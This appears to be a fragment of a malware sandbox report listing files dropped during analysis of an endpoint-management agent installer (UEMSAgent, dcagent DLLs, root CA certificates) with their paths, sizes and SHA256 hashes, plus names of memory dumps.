              • Path C:\Users\Admin\AppData\Local\Temp\dc5260.tmp
              • Size 8KB
              • SHA256 341b09c6fc12730c4a05a553555953acb0cc735e7707e6b9d9a5829a5cbad915
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              MSI2EF1.tmp
              • Path C:\Windows\Installer\MSI2EF1.tmp
              • Size 81KB
              • SHA256 17805948e9d5f51fca01c13bb7dedb1f1a1e17bcf5cc0cb6c01d9f773b712744
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              dcagenthttp.dll
              • Path C:\Windows\SysWOW64\dcagenthttp.dll
              • Size 3.6MB
              • SHA256 3de8d74127b797813742dd9fd618c38572b269f8dbb14af4d6014a1addec4e38
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              dclibxml2.dll
              • Path C:\Windows\SysWOW64\dclibxml2.dll
              • Size 2.1MB
              • SHA256 a451dd3babd79318b612072cb417fd4848be821a1607dc58ac31676e9312fd7a
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              Agentinstalllog.txt
              • Path C:\cool\Agentinstalllog.txt
              • Size 1KB
              • SHA256 b10f265e38f79331b2f037319f3ad2693263cbad048ccb76030379baa14188d7
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              DCAgentServerInfo.json
              • Path C:\cool\DCAgentServerInfo.json
              • Size 1KB
              • SHA256 ef1ba205ee02e4e7c38965c1d4e3944fb632ee2b2f10d68cd699d9ffa33f4711
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              DMRootCA-Server.crt
              • Path C:\cool\DMRootCA-Server.crt
              • Size 1KB
              • SHA256 011db28234b411573cdc84f44ae10a7ab7e5531eb404bbecf7afcec978dac5a8
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              DMRootCA.crt
              • Path C:\cool\DMRootCA.crt
              • Size 1KB
              • SHA256 950bd08887bb889dedc0df658d2bd56f195ca5c21d201a6f52e01a7e3f8abcc3
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              UEMSAgent.msi
              • Path C:\cool\UEMSAgent.msi
              • Size 31.8MB
              • SHA256 92f68fc7f6d0f544a750bf67b4903d1a4062d1372b7f98ab5c2f698eb61359bb
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              UEMSAgent.mst
              • Path C:\cool\UEMSAgent.mst
              • Size 20KB
              • SHA256 180195558475b32abedb88b3103c06ee464148809986b78de32d8fdba897c516
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              memory/928-12-0x00000000069E0000-0x00000000069FA000-memory.dmp
              Download

              memory/928-10-0x0000000006510000-0x000000000655C000-memory.dmp
              Download

              memory/928-15-0x0000000007A10000-0x0000000007A32000-memory.dmp
              Download

              memory/928-14-0x0000000007AB0000-0x0000000007B46000-memory.dmp
              Download

              memory/928-13-0x0000000006AE0000-0x0000000006AF2000-memory.dmp
              Download

              memory/928-0-0x0000000004FD0000-0x0000000005006000-memory.dmp
              Download

              memory/928-11-0x0000000007DF0000-0x000000000846C000-memory.dmp
              Download

              memory/928-16-0x0000000008A30000-0x0000000008FEA000-memory.dmp
              Download

              memory/928-9-0x00000000064B0000-0x00000000064CE000-memory.dmp
              Download

              memory/928-1-0x0000000005690000-0x0000000005CDA000-memory.dmp
              Download

              memory/928-7-0x0000000005FB0000-0x000000000630B000-memory.dmp
              Download

              memory/928-3-0x0000000005ED0000-0x0000000005F36000-memory.dmp
              Download

              memory/928-4-0x0000000005F40000-0x0000000005FA6000-memory.dmp
              Download

              memory/928-2-0x0000000005600000-0x0000000005622000-memory.dmp
              Download

              memory/1768-8-0x0000000075170000-0x0000000075178000-memory.dmp
              Download